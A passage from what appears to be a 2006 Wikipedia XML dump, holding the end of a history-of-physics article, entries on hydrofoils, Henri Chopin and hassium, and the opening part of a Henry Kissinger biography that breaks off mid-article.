The beginning of the [[20th century]] brought the start of a revolution in physics.  The long-held theories of Newton were shown not to be correct in all circumstances.  Not only did [[quantum mechanics]] show that the laws of motion didn't hold on small scales, but even more disturbingly, [[general relativity]] showed that the fixed background of [[spacetime]], on which both [[Newtonian mechanics]] and [[special relativity]] depended, could not exist.

In [[1904]], Thomson proposed the first model of the [[atom]], known as the [[atom/plum pudding|plum pudding model]]. (The existence of the atom had been proposed in [[1808]] by [[John Dalton]].)

In [[1905]], Einstein formulated the theory of [[special relativity]], unifying space and time into a single entity, [[spacetime]]. Relativity prescribes a different transformation between [[inertial frame of reference|reference frames]] than classical mechanics, necessitating the development of relativistic mechanics as a replacement for classical mechanics. In the regime of low (relative) velocities, the two theories agree. In [[1915]], Einstein extended special relativity to explain gravity with the [[general relativity|general theory of relativity]], which replaces Newton's law of gravitation. In the regime of low masses and energies, the two theories agree. One principal result of general relativity is the [[gravitational collapse]] into [[black holes]], which was anticipated two centuries earlier, but elucidated by [[Robert Oppenheimer]]. Oppenheimer would later direct the [[Manhattan Project]] at [[Los Alamos National Laboratory|Los Alamos]]. Important exact solutions of [[Einstein's field equation]] were found by [[Karl Schwarzschild]] in 1915 and [[Roy Kerr]] only in 1963.

A ''[[variational principle]]'' is a principle in [[physics]] which is expressed in terms of the [[calculus of variations]]. According to [[Cornelius Lanczos]], any physical law which can be expressed as a variational principle describes an expression which is [[self-adjoint]]&lt;sup id=&quot;fn_1_back&quot;&gt;[[#fn_1|1]]&lt;/sup&gt;. These expressions are also called [[Hermitian]]. Thus such an expression describes an [[invariant]] under a Hermitian transformation. [[Felix Klein]]'s [[Erlangen program]] attempted to identify such invariants under a group of transformations. On [[July 16]], [[1918]], before a scientific organization in [[Göttingen]], Klein read a paper written by [[Emmy Noether]], because she was not allowed to present the paper before the scientific organization herself.  In particular, in what is referred to in physics as [[Noether's theorem]], this paper identified the conditions under which the [[Poincaré group]] of transformations (what is now called a [[gauge group]]) for [[general relativity]] define [[conservation law]]s. The relationship of these invariants (the symmetries under a group of transformations) and what are now called conserved currents, depends on a variational principle, or [[Action (physics)|action principle]].  Noether's papers made the requirements for the conservation laws precise. 

[[David Hilbert]] had derived the same equation as the [[Einstein equation]] for general relativity within a period of the same few weeks as Einstein, in November 1915. The chief difficulty, which concerned Hilbert, was that the conservation of energy did not hold for a region subject to a gravitational field. (Byers' commentary{{fn|2}} notes that sometimes the objects which are needed to define conserved quantities are not [[tensor]]s, but [[pseudotensor]]s.{{fn|3}}) &lt;!-- Hilbert's unified theory remained uncelebrated because of this difficulty. --&gt; Noether's theorem remains right in line with current developments in physics to this day.

In [[1911]], [[Ernest Rutherford]] deduced from [[Rutherford scattering|scattering experiments]] the existence of a compact [[atomic nucleus]], with positively charged constituents dubbed [[proton]]s. [[Neutron]]s, the neutral nuclear constituents, were discovered in [[1932]] by [[James Chadwick]].

Beginning in [[1900]], [[Max Planck]], [[Albert Einstein]], [[Niels Bohr]], and others developed [[quantum]] theories to explain various anomalous experimental results by introducing discrete energy levels. In [[1925]], [[Werner Heisenberg]] and [[Erwin Schrödinger]] formulated [[quantum mechanics]], which explained the preceding quantum theories. In quantum mechanics, the outcomes of physical measurements are inherently [[probability|probabilistic]].  The theory describes the calculation of these probabilities. It successfully describes the behavior of matter at small distance scales.

Quantum mechanics also provided the theoretical tools for [[condensed matter physics]], which studies the physical behavior of solids and liquids, including phenomena such as [[crystal]] structures, [[semiconductor|semiconductivity]], and [[superconductor|superconductivity]]. The pioneers of condensed matter physics include [[Felix Bloch]], who created a quantum mechanical description of the behavior of electrons in crystal structures in [[1928]].

In [[1929]], [[Edwin Hubble]] published his discovery that the speed at which galaxies recede positively correlates with their distance.  This is the basis for understanding that the [[universe]] is expanding. Thus, the universe must have been smaller and therefore hotter in the past. By the [[1940]]s, researchers like [[George Gamow]] proposed the ''[[Big Bang]]'' theory{{fn|4}}, evidence for which was discovered in [[1964]]{{fn|5}}; [[Enrico Fermi]] and [[Fred Hoyle]] were among the doubters in the [[1940]]s and [[1950]]s. Hoyle had dubbed Gamow's theory the ''Big Bang'' in order to debunk it. Today, it is one of the principal results of [[cosmology]], with a well-accepted age of the universe.

During [[World War II]], physics became a major source of government funding and research on all sides of the conflict. Its importance in the technologies of [[radar]], [[rocketry]], [[operations research]], and [[anti-aircraft]] weapons was seen as paramount to the war efforts of both the [[Allies|Allied]] and [[Axis Powers|Axis]] powers. Though physics had received some more funding after [[World War I]], this was dwarfed by the amount it received only a few decades later. 

In [[1934]], the Italian physicist [[Enrico Fermi]] had discovered strange results when bombarding [[uranium]] with [[neutron]]s, which he believed at first to have created [[transuranic]] elements. In [[1939]], it was discovered by the chemist [[Otto Hahn]] and the physicist [[Lise Meitner]] that what was actually happening was the process of [[nuclear fission]], whereby the nucleus of uranium was actually being split into two pieces, releasing a considerable amount of energy in the process. At this point it became clear to a number of scientists independently that this process could potentially be harnessed to produce massive amount of energy, either as a civilian power source or as a weapon. 

Both the Germans and the Americans pursued research in [[nuclear physics]] to assess the ability to create such a weapon in war. The [[German nuclear energy project]], led by Heisenberg, was unsuccessful, but the Allied [[Manhattan Project]] reached its goal. In America, a team led by Fermi achieved the first man-made [[nuclear chain reaction]] in [[1942]] in the world's first [[nuclear reactor]], and in [[1945]] the world's first nuclear explosive was detonated at [[Trinity test|Trinity Site]], north of [[Alamogordo, New Mexico]]. In August 1945, the USA dropped two [[nuclear weapon]]s on the Japaense cities of [[atomic bombings of Hiroshima and Nagasaki|Hiroshima and Nagasaki]], and official press reports gave (perhaps an unfair amount) of the credit to the physicists involved in the project. After the war, industrial governments would become the primary sponsors of physics. The scientific leader of the Allied project, theoretical physicist [[Robert Oppenheimer]], noted the change of the imagined role of the physicist when he noted in a speech that:

:&quot;''In some sort of crude sense, which no vulgarity, no humor, no overstatement can quite extinguish, the physicists have known sin, and this is a knowledge which they cannot lose.''&quot;

The terms of this new relationship with the military would be harshly set when Oppenheimer had his security clearance revoked in a much publicized hearing during the height of the [[McCarthy era]] under suspicions of his loyalty. 

Though the process had begun with the invention of the [[cyclotron]] by [[Ernest O. Lawrence]] in the 1930s, physics in the postwar period entered into a phase of what historians have called &quot;[[Big Science]]&quot;, requiring massive machines, budgets, and laboratories in order to test their theories and move into new frontiers. The primary patron of physics became state governments, who recognized that the support of &quot;basic&quot; research could often lead to technologies useful to both military and industrial applications (it was not until the post-Cold War [[1990s]] that the US Congress would fail to approve funding for a particle accelerator). Currently [[CERN]] still enjoys funding from the European community. 

[[Quantum field theory]] was formulated in order to extend quantum mechanics to be consistent with special relativity. It achieved its modern form in the late [[1940s]] with work by [[Richard Feynman]], [[Julian Schwinger]], [[Sin-Itiro Tomonaga]], and [[Freeman Dyson]]. They formulated the theory of [[quantum electrodynamics]], which describes the electromagnetic interaction.

Quantum field theory provided the framework for modern [[particle physics]], which studies [[fundamental force]]s and elementary particles. In [[1954]], [[Yang Chen Ning]] and [[Robert Mills (physicist)|Robert Mills]] developed a class of [[gauge theory|gauge theories]], which provided the framework for the [[Standard Model]]. The Standard Model, which was completed in the [[1970s]], successfully describes almost all elementary particles observed to date.

At the same time, [[Stephen Hawking]] had discovered the spectrum of radiation emanating during the collapse of matter into [[black hole]]s; by [[2004]], even Hawking would admit that some [[Hawking radiation]] could escape a black hole.

=== Developments since 1990 ===

Attempts to unify [[quantum mechanics]] and [[general relativity]] made significant progress during the 1990s.  At the close of the century, a [[Theory of everything]] was still not in hand, but some of its characteristics were taking shape.  [[Loop quantum gravity]], [[string theory]], and [[black hole thermodynamics]] all predicted [[quantized]] [[spacetime]] on the [[Planck scale]].

=== Developments since 2000 ===

A new experiment demonstrated that [[speed of gravity|gravity propagates]] at approximately the [[speed of light]], confirming one prediction of [[general relativity]].

&lt;!-- :''-- add stuff on convergence of superstring stuff to [[M-theory]]'' --&gt;

=== Notes ===

* {{fnb|1}}Cornelius Lanczos, ''The Variational Principles of Mechanics'' (Dover Publications, New York, 1986). ISBN 0-486-65067-7. 
* {{fnb|2}}[http://www.physics.ucla.edu/~cwp/articles/noether.asg/noether.html E. Noether's Discovery of the Deep Connection Between Symmetries and Conservation Laws] by [[Nina Byers]]
* {{fnb|3}}A [[pseudotensor]] changes its sign under inversion by some transformation matrix. [http://mathworld.wolfram.com/Pseudotensor.html See note].
* {{fnb|4}}Alpher, Herman, and Gamow. ''Nature'' '''162''',774 (1948).
* {{fnb|5}}[http://nobelprize.org/physics/laureates/1978/wilson-lecture.pdf Wilson's [[1978]] Nobel lecture]
* [http://uk.arxiv.org/abs/physics/0310001 Indian physics]

== See also ==

* [[History of science and technology]]
* [[Physics]]

{{Wikibookspar|Wikiversity|History of Physics}}

[[Category:History of physics| ]]
[[Category:Physics]]

&lt;!-- interwiki --&gt;

[[af:Geskiedenis van fisika]]
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[[da:Fysikkens historie]]
[[de:Geschichte der Physik]]
[[es:Historia de la física]]
[[fr:Histoire de la physique]]
[[hr:Povijest fizike]]
[[he:היסטוריה של הפיזיקה]]
[[pl:Historia fizyki]]
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[[sv:Fysikens historia]]
[[vi:Lịch sử vật lý học]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrofoil</title>
    <id>13761</id>
    <revision>
      <id>39585723</id>
      <timestamp>2006-02-14T13:33:31Z</timestamp>
      <contributor>
        <ip>84.189.192.8</ip>
      </contributor>
      <comment>/* Current operation */</comment>
      <text xml:space="preserve">[[Image:Jetfoil Toppi 001.JPG|right|thumb|The Jetfoil Toppi is a [[ferry]] which connects [[Yakushima]], [[Tanegashima]] Island and [[Kagoshima]] port in [[Japan]]]]
A '''hydrofoil''' is a [[boat]] with wing-like foils mounted on struts below the [[hull (ship)|hull]]. As the craft increases its speed the hydrofoils develop enough [[lift (force)|lift]] for the boat to become foilborne - i.e. to raise the hull up and out of the water. This results in a great reduction in [[drag (physics)|drag]] and a corresponding increase in speed. 

Early hydrofoils used U-shape foils. Hydrofoils of this type are known as '''surface-piercing''' since portions of the U-shape hydrofoils will rise above the water surface when foilborne. Modern hydrofoils use T-shape foils which are '''fully-submerged'''.  Fully submerged hydrofoils are less subjected to the effects of waves, they are therefore more stable at sea and are more comfortable for the crew and passengers. This type of configuration however is not self-stabilizing. The angle of attack on the hydrofoils needs to be adjusted continuously in accordance to the changing conditions, a control process that is performed by computers. Failure to make the proper adjustments will result in the foilborne hull dropping violently back into the sea.

==History==
[[image:MeteorHydrofoil.jpg|thumb|300px|left|In Russia, a Meteor floats in displacement mode near [[Peterhof]] preparing to travel through the [[Gulf of Finland]] to the [[Winter Palace]] in [[Saint Petersburg|St. Petersburg]].]]
A March [[1906]] ''[[Scientific American]]'' article by American hydrofoil pioneer William E. Meacham explained the basic principle of hydrofoils. [[Alexander Graham Bell]] considered the invention of the ''hydroplane'' a very significant achievement. After reading this article Bell began to sketch concepts of what is now called a hydrofoil boat. With Casey Baldwin he began hydrofoil experimentation in the summer of [[1908]]. Baldwin studied the work of the Italian inventor [[Enrico Forlanini]] and began testing models based on his designs. This led him and Bell to the development of hydrofoil watercraft. During Bell's world tour of 1910-1911 he and Baldwin met with Forlanini in Italy. They had rides in the Forlanini hydrofoil boat over [[Lake Maggiore]].  Baldwin described it as being as smooth as flying. On returning to [[Baddeck, Nova Scotia|Baddeck]] a number of designs were tried culminating in the HD-4. Using [[Renault]] engines a top speed of 87 km/h (54 mph) was achieved, accelerating rapidly, taking wave without difficulty, steering well and showing good stability. Bell's report to the United States Navy permitted him to obtain two 260 kW (350 horsepower) engines. On [[September 9]], [[1919]] the HD-4 set a world marine speed record of 114 km/h (70.86 mph). This record stood for ten years.

Baron von Schertel worked on hydrofoils prior to and during [[World War II]] in [[Germany]]. After the war Schertel's team was captured by the Russians. Schertel himself went to [[Switzerland]], where he established the Supramar company. In [[1952]], Supramar launched the first commercial hydrofoil, PT10, in Lake Maggiore, between Switzerland and [[Italy]]. The PT10 is of surface-piercing type, it can carry 32 passengers and travel at 35 knots. The Financier Hussain Najadi in 1968 acquired from UBS Group the SUPRAMAR AG of Lucerne, Switzerland. THE COMPANY was the world inventor of Hydrofoils with licensees spanning Europe, USA and Asia. He expanded its operations into Japan, Hong Kong, Singapore, UK, Norway and USA. General Dynamics of the United States became its Licensee and the PENTAGON awarded its first R&amp;D naval research project in the field of super cavitations. Hitachi Shipbuilding of Osaka, Japan, was another Licensee of SUPRAMAR, as well as many leading ship owners and shipyards in the OECD countries. He established over 200 hydrofoil lines spanning five continents.
From [[1952]] to [[1971]], Supramar designed many models of hydrofoils: PT20, PT50, PT75, PT100 and PT150. Except the PT150, all are of surface-piercing type. Over 200 of Supramar's design were built, most of them by Rodriquez in Italy. Hitachi in Japan had also built some under license.
 
The [[Soviet Union]] experimented extensively with hydrofoils, constructing hydrofoil [[ferries]] with streamlined designs, especially during the [[1970s]] and [[1980s]]. Such vessels include the [[Meteor (hydrofoil)|Meteor]] type and the smaller [[Voskhod]] type; these vessels have inspired people in the former Soviet Union to continue tinkering with hydrofoils and selling them to hydrofoil operators. 

[[Image:PHM-4.jpg|thumb|300px|[[USS Aquila (PHM-4)|USS ''Aquila'']], a military hydrofoil. The T-shaped foils are visible just below the water.]]
The [[United States Navy|U.S. Navy]] operated combat hydrofoils, such as the [[Pegasus class hydrofoil|''Pegasus'' class]], from [[1977]] through [[1993]]. These hydrofoils were fast and well armed, and were capable of sinking all but the largest surface vessels. In their [[narcotics]] interdiction role, they were a nightmare for [[Illegal drug trade|drug runners]], being very fast, and having missiles and guns to stop anything they could not catch, as well as the ability to call in air support.

The [[Marina Militare|Italian Navy]] has used 6 hydrofoils of the ''[[Nibbio class|Nibbio]]'' class from the late [[1970s]]. These were armed with a 76 mm gun, two missiles and were capable of speed up to 50 knots.

==Current operation==
Some operators of hydrofoil include:

* [[Turbojet Ferry]], which speeds passengers across the [[Pearl River Delta]] between [[Hong Kong]] and [[Macau]] in less than an hour, with an average speed of 45 knots (83km/h).  Also services [[Shenzhen]], [[Guangzhou]] and [[Kowloon]].  Operated by Shun Tak-China Travel Ship Management Limited.

* ''Meteor'' service between [[Saint Petersburg|St. Petersburg]], [[Russia]] and the [[Peterhof]] island, [[Peter I of Russia|Peter the Great]]'s Summer Palace.

* ''Navigazione Lago Maggiore'' provides fast and reliable boat services with hydrofoils on the [[Lake Maggiore]] between [[Locarno]] and [[Arona]]. Former Russian hydrofoils are used in southern Italy for connection with islands of [[Latium]] and [[Campania]].

&lt;!-- Unsourced image removed: [[Image:Enrico fermi lake maggiore luino.JPG|thumb|300px|A picture of ''[[Enrico Fermi]]'', an hydrofoil servicing on the [[Lake Maggiore]], here in Luino]] --&gt;
[[image:YangtzeMeteor.jpg|thumb|300px|A Meteor in China on the [[Yangtze River]], running downstream fast on its hydrofoils.]]
&lt;!--I removed this image as unworthy for a serious encyclopedia. Opinions welcome
[[image:hydrovessel.jpg|thumb|300px|A cutaway illustration of a hydrofoil, by Peter Welleman.]]
--&gt;

==Video==
[[:Image:hydrofoil_egina.ogg|Video: Hydrofoils in action]]

==See also==
* [[Riverboat]]
* [[Hydroplaning]]

== External links ==
* [http://www.boeing.com/history/boeing/hydro.html Boeing's Jetfoil]
* [http://www.turbojet.com.hk Turbojet - Hong Kong to Macau Ferry]
* [http://www.human-powered-hydrofoils.com Human-Powered-Hydrofoils.com]
* [http://www.foils.org/gallery/misc.htm Human powered hydrofoil examples]
* [http://foils.org The International Hydrofoil Society]
* [http://www.kjps.co.jp/english/eindex.html Kawasaki Jetfoil]
* [http://www.riverships.ru/english/types/?grp=3 Directory of Soviet-made hydrofoils]
* Seminal [[National Advisory Committee for Aeronautics|NACA]] reports:
** [http://naca.larc.nasa.gov/reports/1958/naca-report-1355/ 1958-hydroplaning]
** [http://naca.larc.nasa.gov/reports/1955/naca-report-1232/ 1955-hydrofoil]

[[Category:Boat types]]
[[Category:Ship types]]

[[de:Tragflächenboot]]
[[fr:Hydrofoil]]
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[[ja:水中翼船]]
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[[sv:Bärplansbåt]]
[[zh:水翼船]]</text>
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  <page>
    <title>Hull, England</title>
    <id>13762</id>
    <revision>
      <id>15911354</id>
      <timestamp>2002-06-13T03:50:52Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Kingston_upon_Hull]]</text>
    </revision>
  </page>
  <page>
    <title>Henri Chopin</title>
    <id>13763</id>
    <revision>
      <id>37188837</id>
      <timestamp>2006-01-29T08:01:44Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Henri Chopin''' (born [[1922]]) is an avant-garde [[poet]] and [[musician]].

Henri Chopin is a little-known but key figure of the French avant-garde during the second half of the [[20th century]]. Known primarily as a [[concrete poetry|concrete]] and [[sound poetry|sound poet]], he created a large body of pioneering recordings using early tape recorders, studio technologies and the sounds of the manipulated human voice. His emphasis on sound is a reminder that language stems as much from oral traditions as from classic literature, of the relationship of balance between order and chaos.

Chopin is significant above all for his diverse spread of creative achievement, as well as for his position as a focal point of contact for the international arts. As poet, painter, graphic artist and designer, typographer, independent publisher, film-maker, broadcaster and arts promoter, Chopin's  work is a barometer of the shifts in European media between the [[1950s]] and the [[1970s]].

His publication and design of the classic audio-visual magazines Cinquième Saison and OU between 1958 and 1974, each issue containing recordings as well as texts, images, screenprints and multiples, brought together international contemporary writers and artists such as members of [[Lettrisme]] and [[Fluxus]], [[Jiri Kolar]], [[Ian Hamilton Finlay]], [[Tom Phillips (artist)|Tom Phillips]], [[Brion Gysin]], [[William S. Burroughs]] and many others, as well as bringing the work of survivors from earlier generations such as [[Raoul Hausmann]] and [[Marcel Janco]] to a fresh audience.

== External links ==
* http://www.erratum.org/chopin


[[Category:1922 births|Chopin, Henri]]
[[Category:Living people|Chopin, Henri]]
[[Category:French poets|Chopin, Henri]]
[[Category:French musicians|Chopin, Henri]]</text>
    </revision>
  </page>
  <page>
    <title>Hassium</title>
    <id>13764</id>
    <revision>
      <id>40046813</id>
      <timestamp>2006-02-17T19:17:26Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">{{Elementbox_header | number=108 | symbol=Hs | name=hassium | left=[[bohrium]] | right=[[meitnerium]] | above=[[osmium|Os]] | below=(Upo) | color1=#ffc0c0 | color2=black }}
{{Elementbox_series | [[transition metal]]s }}
{{Elementbox_groupperiodblock | group=8 | period=7 | block=d }}
{{Elementbox_appearance | unknown, probably silvery&lt;br /&gt;white or metallic gray }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|(269)]] }}
{{Elementbox_econfig | perhaps &amp;#91;[[radon|Rn]]&amp;#93; 5f&lt;sup&gt;14&lt;/sup&gt; 6d&lt;sup&gt;6&lt;/sup&gt; 7s&lt;sup&gt;2&lt;/sup&gt;&lt;br /&gt;(guess based on [[osmium]]) }}
{{Elementbox_epershell | 2, 8, 18, 32, 32, 14, 2 }}
{{Elementbox_phase | presumably a [[solid]] }}
{{Elementbox_cas_number | 54037-57-9 }}
{{Elementbox_footer | color1=#ffc0c0 | color2=black }}

'''Hassium''' ([[eka]]-osmium) is a [[chemical element]] in the [[periodic table]] that has the symbol Hs and [[atomic number]] 108.
It is a [[synthetic element]] whose most stable isotope is Hs-265, with a [[half-life]] of [[1 E-3 s|2 ms]].

== History ==
It was [[discovery of the chemical elements|first synthesized]] in [[1984]] by a German research team led by [[Peter Armbruster]] and [[Gottfried Münzenberg]] at the [[Gesellschaft für Schwerionenforschung|Institute for Heavy Ion Research]] at [[Darmstadt]]. The name hassium was proposed by them, derived from the [[Latin]] name for the German state of [[Hessen]] where the institute is located.

There was an [[element naming controversy]] as to what the elements from 101 to 109 were to be called; thus [[IUPAC]] adopted unniloctium (symbol Uno) as a temporary, [[systematic element name]] for this element. In [[1994]] a committee of IUPAC recommended that element 108 be named hahnium.
The name hassium was adopted internationally, however, in [[1997]].

== External links ==
*[http://www.webelements.com/webelements/elements/text/Hs/index.html WebElements.com - Hassium]
*[http://www.apsidium.com/elements/108.htm Apsidium - Hs]

[[Category:Chemical elements]]
[[Category:Transition metals]]

[[ar:هاسيوم]]
[[ca:Hassi]]
[[cs:Hassium]]
[[de:Hassium]]
[[et:Hassium]]
[[es:Hassio]]
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[[lt:Hasis]]
[[nl:Hassium]]
[[ja:ハッシウム]]
[[nn:Hassium]]
[[pl:Hass]]
[[pt:Hássio]]
[[ru:Хассий]]
[[sr:Хасијум]]
[[fi:Hassium]]
[[sv:Hassium]]
[[th:แฮสเซียม]]
[[uk:Гасій]]
[[zh:𨭆]]</text>
    </revision>
  </page>
  <page>
    <title>Henry Kissinger</title>
    <id>13765</id>
    <revision>
      <id>42130079</id>
      <timestamp>2006-03-04T00:42:27Z</timestamp>
      <contributor>
        <ip>160.5.247.213</ip>
      </contributor>
      <comment>/* U.S. - Cuban relations */ M sp</comment>
      <text xml:space="preserve">[[Image:Henry Kissinger.jpg|thumb|200px|Henry Kissinger circa 1970's.]]

'''Henry Alfred Kissinger''' (born [[May 27]], [[1923]] in [[Fürth]], [[Germany]], as '''Heinz Alfred Kissinger''') is an [[United States of America|American]] diplomat, [[Nobel Peace Prize|Nobel laureate]] and statesman. He served as [[United States National Security Advisor|National Security Advisor]] and later [[United States Secretary of State|Secretary of State]] in the [[Richard Nixon|Nixon]] administration, continuing in the latter position after [[Gerald Ford]] became President in the aftermath of the [[Watergate scandal]].

A proponent of [[Realpolitik]], Kissinger played a dominant role in [[United States foreign policy]] between 1969 and 1977. During this time, he pioneered the policy of ''[[détente]]'' that led to a significant relaxation in U.S.-Soviet tensions and played a crucial role in 1972 talks with [[People's Republic of China|Chinese]] foreign minister [[Zhou Enlai]] that concluded with the [[History of the People's Republic of China#Reform and opening up|&quot;opening&quot; of China]] and the formation of a new strategic anti-Soviet Sino-American alliance. 

Kissinger favoured the maintenance of friendly diplomatic relationships with [[Anti-communism|anti-Communist]] [[military dictatorships]] in the [[Southern Cone]] and elsewhere in [[Latin America]], and approved of covert intervention in [[Chile|Chilean]] politics. He has been accused of complicity and encouragement in the atrocities committed by the [[Proceso de Reorganización Nacional|Argentine military junta]]. Spanish judge [[Baltasar Garzon]] requested that Kissinger answer questions about matters relating to these humans rights abuses, but the U.S. State Department rejected this petition. [http://edition.cnn.com/2002/WORLD/europe/04/18/spain.kissinger/index.html], [http://www.findarticles.com/p/articles/mi_m1329/is_2_29/ai_n6133993/pg_2]

During his time in the Nixon and Ford administrations he cut a flamboyant figure, appearing at social occasions with many of America's most celebrated beauties. His foreign policy record made him enemies amongst anti-war [[liberalism|liberals]] and [[conservatism|conservative]] anti-Communist hawks alike; controversy surrounding Kissinger has by no means receded in the years since. 

With the recent declassification of Nixon and Ford administration documents relating to U.S. policy toward [[South America]] and [[East Timor]], Kissinger has come under fire from certain journalists and [[human rights]] advocacy groups, both in the U.S. and abroad. Several have accused him of having committed [[war crimes]] [http://archives.cnn.com/2002/WORLD/europe/04/22/uk.kissinger/]; author/journalist [[Christopher Hitchens]] is perhaps most prominent among the accusers. 

==Personal background==
Kissinger was born in [[Fürth]] in [[Franconia]] ([[Bavaria]]) as Heinz Alfred Kissinger into a [[Judaism|Jewish]] family. In 1938, fleeing [[Adolf Hitler]]'s persecution, his family moved to [[New York City|New York]]. Kissinger was [[Naturalization|naturalized]] a U.S. citizen on [[June 19]], [[1943]].

He spent his high school years in the [[Washington Heights]] section of upper [[Manhattan]] but never lost his pronounced [[German (language)|German]] [[Accent (linguistics)|accent]]. Kissinger attended [[George Washington High School]] at night and worked in a shaving-brush factory during the day. While attending [[City College of New York]], in 1943, he was drafted into the army, trained at [[Clemson University|Clemson College]] in South Carolina, and became a German interpreter for the 970th [[Counter Intelligence Corps]].

Henry Kissinger received his [[Bachelor of Arts|B.A.]] degree ''[[summa cum laude]]'' at [[Harvard College]] in 1950, where he studied under [[William Yandell Elliot]]. Kissinger is rumored to be the only person to receive a perfect [[grade point average]] from Harvard, but in fact he received one B in his senior year. He received his [[Master of Arts (postgraduate)|M.A.]] and [[Doctor of Philosophy|Ph.D.]] degrees at [[Harvard University]] in 1952 and 1954, respectively. His doctoral dissertation was titled ''A World Restored: [[Metternich]], [[Robert Stewart, Viscount Castlereagh|Castlereagh]] and the Problems of Peace 1812&amp;ndash;22''. Kissinger's doctoral dissertation was a continuation of his undergraduate thesis, which at 383 pages prompted the &quot;Kissinger rule&quot; restricting future senior theses to one-third that length (150 pages).

A liberal [[Republican Party (United States)|Republican]] and keen to have a greater influence on American foreign policy, Kissinger became a supporter of and advisor to [[New York]] [[Governor of New York|Governor]] [[Nelson Rockefeller]], who sought the Republican nomination for President in 1960, 1964 and 1968. After Richard Nixon won the presidency in 1968, he offered Kissinger the job of national security adviser. 
With his first wife, Ann Fleischer, he had two children, Elizabeth and David. He currently lives with his second wife; [[Nancy Kissinger|Nancy Maginnes]], in [[Kent, Connecticut]]. He is the head of [[Kissinger and Associates]], a consulting firm.

Kissinger is well known as being a [[New York Yankees]] fan. He is also a great fan of the German soccer club [[SpVgg Greuther Fürth|Greuther Fürth]] from his home town.

==Foreign policy==
[[Image:Nixon and Kissinger.png|thumb|250px|On [[October 31]], [[1973]], Egyptian foreign minister [[Ismail Fahmi]] meets with [[Richard Nixon]] and Henry Kissinger about a week after fighting ends in the [[Yom Kippur War]]]]

Under Nixon, Kissinger served as [[United States National Security Advisor|National Security Advisor]] from 1969 to 1973 and then [[United States Secretary of State|Secretary of State]] until 1977, staying on board as Secretary of State under President Gerald Ford following Nixon's 1974 resignation in the aftermath of the Watergate scandal.

===''Détente'' and the opening of China===
As National Security Advisor under Nixon, Kissinger pioneered the policy of ''[[détente]]'' with the [[Soviet Union]], seeking a relaxation in tensions between the two superpowers. As a part of this strategy, he negotiated the [[Strategic Arms Limitation Talks]] (culminating in the [[SALT I treaty]]) and the [[Anti-Ballistic Missile Treaty]] with [[Leonid Brezhnev]], [[General Secretary of the Communist Party of the Soviet Union|General Secretary]] of the [[Communist Party of the Soviet Union|Soviet Communist Party]]. 

Kissinger also sought to place diplomatic pressure on the Soviet Union; to accomplish this, he made two secret trips to the [[People's Republic of China]] in July and October 1971 to confer with Premier [[Zhou Enlai]], then in charge of Chinese foreign policy. This set the stage for the [[Nixon visit to China 1972|groundbreaking 1972 summit]] between Nixon and Zhou and [[Communist Party of China]] Chairman [[Mao Zedong]] as well as the [[Sino-American relations|normalization of relations]] between the two countries, ending 23 years of diplomatic isolation and mutual hostility and resulting in the formation of a strategic anti-Soviet Sino-American alliance. Today, Kissinger is often remembered by Chinese leaders as &quot;the old friend of the Chinese people.&quot; The talks between Kissinger and Zhou were highly secretive; recently declassified documents show that the talk highly focused on the [[Political status of Taiwan|Taiwan issue]]. While Kissinger's diplomacy led to economic and cultural exchanges between the two sides, the establishment of official diplomatic relations with the People's Republic of China would not occur until 1979 as the United States continued to recognize the [[Republic of China]] government on Taiwan.

[[Image:Kissinger Mao.jpg|thumb|left|250px|Kissinger, shown here with [[Zhou Enlai]] and [[Mao Zedong]], negotiated the normalization of relations with the People's Republic of China.]]

===Vietnamization and the Cambodian bombing campaign===
Nixon had been elected in 1968 on the promise of achieving &quot;peace with honor&quot; and ending the [[Vietnam War]]. Once in office, he began implementing a policy of Vietnamization that aimed to gradually withdraw U.S. troops while expanding the combat role of the [[Army of the Republic of Vietnam]] (ARVN) so that it would be capable of independently defending [[South Vietnam]] against the [[Viet Cong|National Front for the Liberation of Vietnam]] and [[People's Army of Vietnam|North Vietnamese Army]] (NVA). At the same time, Kissinger, with Nixon's support, played a key role in expanding American bombing campaigns into [[Cambodia]] to target NVA and Viet Cong units launching raids against the South. The bombing campaign was initially secret and ignited significant anti-war protests in the U.S., particularly at university campuses, when it became known. The bombing campaign also inadvertently contributed to the chaos of the [[Cambodian Civil War]], which saw the forces of dictator [[Lon Nol]] unable to defeat the growing [[Khmer Rouge]] insurgency that would emerge victorious in 1975.

Kissinger was awarded the 1973 Nobel Peace Prize along with diplomatic [[North Vietnam]]ese representative [[Lê Ðức Thọ]] for their work in negotiating a ceasefire between the South and the North. Kissinger accepted the award, but Lê declined, claiming that a true peace had not been reached. The ceasefire was broken in 1975 when the NVA invaded and occupied South Vietnam, establishing a united Socialist Republic of Vietnam in 1976 with [[Hanoi]] as its capital.

===The 1971 Bangladesh (East Pakistan) Genocide===
Kissinger has been viewed as complicit in the [[1971 Bangladesh massacres]] by [[Pakistan]] (then [[West Pakistan]]) in [[Bangladesh]] (then [[East Pakistan]]). During the 1971 Bangladesh genocide [http://www.gendercide.org/case_bangladesh.html] an estimated 1,247,000 people were killed over nine months period. Kissinger did not want to upset leaders in Pakistan by intervening, as Pakistan had a key role in opening talks with China at that time. When American diplomats in East Pakistan protested the violence, Kissinger had them demoted or fired. Then he thanked Pakistani General [[Yahya Khan]] for his &quot;delicacy and tact&quot;.

In June of 2005 the U.S. state department declassified documents concerning the visit of Indian Prime Minister Indira Gandhi to the White House. Included in the documents was a transcript of a conversation between Kissinger and President Nixon on the morning of November 5, 1971;
[http://www.state.gov/r/pa/ho/frus/nixon/e7/48529.htm]

Nixon: &quot;We really slobbered over that old witch&quot; &lt;br&gt;
Kissinger: &quot;They are the most goddamn aggressive people around.&quot;&lt;br&gt;
Nixon: &quot;The Indians?&quot;&lt;br&gt;
Kissinger: &quot;Yeah.&quot;&lt;br&gt;
Nixon: &quot;Sure.&quot;&lt;br&gt;
Kissinger: &quot;The Indians are bastards anyway. They are starting a war there. While she was a bitch, we got what we wanted too. She will not be able to go home and say that the United States didn't give her a warm reception and therefore in despair she's got to go to war.&quot; &lt;br&gt;

